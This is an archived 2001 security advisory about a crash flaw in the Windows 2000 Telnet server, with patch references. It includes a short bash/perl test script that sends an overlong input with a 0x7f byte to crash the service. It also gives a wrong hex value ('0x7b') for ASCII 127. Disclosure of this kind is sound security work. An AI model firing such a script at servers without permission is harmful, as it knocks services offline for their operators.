Date: Fri, 8 Jun 2001 09:46:15 -0400 (EDT)
From: Michal Zalewski <[email protected]>
To: [email protected]Subject: Microsoft Windows 2000 Telnet server vulnerability
RAZOR Advisory:
Range checking fault condition in Microsoft Windows 2000 Telnet
server
Issue Date: June 8, 2001
Contact: Michal Zalewski <[email protected]>
Topic:
Range checking fault condition is present in telnet server shipped
with Microsoft Windows 2000.
Affected Systems:
Tested on Windows 2000 Advanced Server SP1.
Overview:
There is a buffer size checking related fault condition in Microsoft
Windows 2000 telnet server. This vulnerability is present only if
telnet service is running and plain-text logins are allowed (this does
not apply to NTLM-based authentication).
Details:
Microsoft Telnet Server does range checking when reading a username,
dropping the connection if an excessively long line was sent to it.
This mechanism fails if there is approximately 4300 or more characters
in the input buffer already, and ASCII code 127 (0x7b, backspace)
arrives. This leads to service crash (DoS condition).
When this condition occurs, 0x41414141 can be found in stack dumps.
Microsoft advised us this condition is not exploitable.
Vulnerability check:
The following Linux bash script would test telnet server for the
vulnerability:
- test.sh -
#!/bin/bash
( sleep 1
perl -e '{printf "%s\x7f%s","A"x4500,"A"x100}'
sleep 3
) | telnet victimbox
- eof -
Vendor response:
This vulnerability is addressed by the MS01-031 security bulletin and
Microsoft has issued a patch to correct the issue.
Microsoft's security bulletin:
http://www.microsoft.com/technet/security/bulletin/ms01-031.asp
Microsoft's Patch:
Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=30508
